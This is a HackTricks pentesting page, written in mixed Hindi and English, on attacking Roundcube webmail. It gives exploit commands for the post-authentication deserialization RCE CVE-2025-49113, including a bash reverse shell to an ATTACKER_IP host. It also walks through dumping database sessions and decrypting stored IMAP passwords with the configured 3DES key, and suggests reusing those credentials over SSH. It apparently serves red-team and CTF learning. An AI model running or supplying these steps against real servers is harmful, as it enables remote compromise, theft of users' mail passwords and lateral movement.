Roundcube
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
सारांश
Roundcube एक PHP वेबमेल क्लाइंट है जो सामान्यतः HTTP(S) vhosts (e.g., mail.example.tld) पर प्रकट होता है। उपयोगी फ़िंगरप्रिंट:
- HTML source अक्सर leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- डिफ़ॉल्ट app path containers/VMs में: /var/www/html/roundcube
- मुख्य कॉन्फ़िग: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
प्रभावित संस्करण (per vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
बग सारांश
- program/actions/settings/upload.php में _from parameter validated नहीं है, जिससे attacker‑controlled data का injection संभव होता है जिसे Roundcube बाद में unserializes करता है, जिससे gadget chain execution और remote code execution वेब context में (post‑auth) होता है।
त्वरित शोषण
- आवश्यकताएँ: मान्य Roundcube credentials और एक पहुंच योग्य UI URL (e.g., http://mail.target.tld)
- Public PoC session handling, gadget crafting और upload flow को स्वचालित करता है
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
नोट्स
- आउटपुट अक्सर blind होता है; RCE को मान्य करने के लिए sleep N का उपयोग करें
- प्राप्त होने वाला shell सामान्यतः www-data के रूप में चलता है; containerised deployments पर /.dockerenv और 172.17.0.0/16 नेटवर्किंग की अपेक्षा रखें
Post‑exploitation: recover IMAP passwords from Roundcube sessions
Roundcube वर्तमान उपयोगकर्ता का IMAP password session (database) में संग्रहीत करता है, जो server‑side 3DES key से encrypted होता है जो config.inc.php में configured होती है। Roundcube host पर filesystem या DB access के साथ आप plaintext passwords पुनः प्राप्त कर सकते हैं और अन्य mailboxes/services में pivot कर सकते हैं (SSH reuse सामान्य है)।
- Read DB DSN and 3DES key from config
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- DB से कनेक्ट करें और sessions को dump करें
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
The session.vars field एक Base64 blob है जो Roundcube’s encrypt() द्वारा बनाया जाता है: Base64( IV || 3DES-CBC(plaintext) ). Base64‑decoding के बाद पहले 8 बाइट्स IV होते हैं।
- पासवर्ड फ़ील्ड खोजें
डिक्रिप्ट किए गए स्ट्रक्चर के अंदर क्रेडेंशियल को जल्दी पहचानने का एक तेज़ तरीका यह है कि पहले vars field को Base64‑decode करें और serialized entries को आँख से देखें:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Roundcube के सहायक का उपयोग करके Decrypt करें
Roundcube एक CLI के साथ आता है जो वही rcmail->decrypt() logic और कॉन्फ़िगर किया गया des_key का उपयोग करता है:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- मैनुअल 3DES-CBC decryption (वैकल्पिक)
- Ciphertext प्रारूप: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
सामान्य स्थान
- DB table: session (users table maps login names to IDs)
- Config path: /var/www/html/roundcube/config/config.inc.php
ऑपरेशनल उपयोग
- Older session rows अक्सर prior users’ IMAP passwords रखते हैं; multiple entries को decrypt करके अन्य mailboxes में lateral movement किया जा सकता है
- यदि credential reuse का संदेह हो तो recovered credentials को SSH या अन्य services पर आज़माएँ
संदर्भ
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

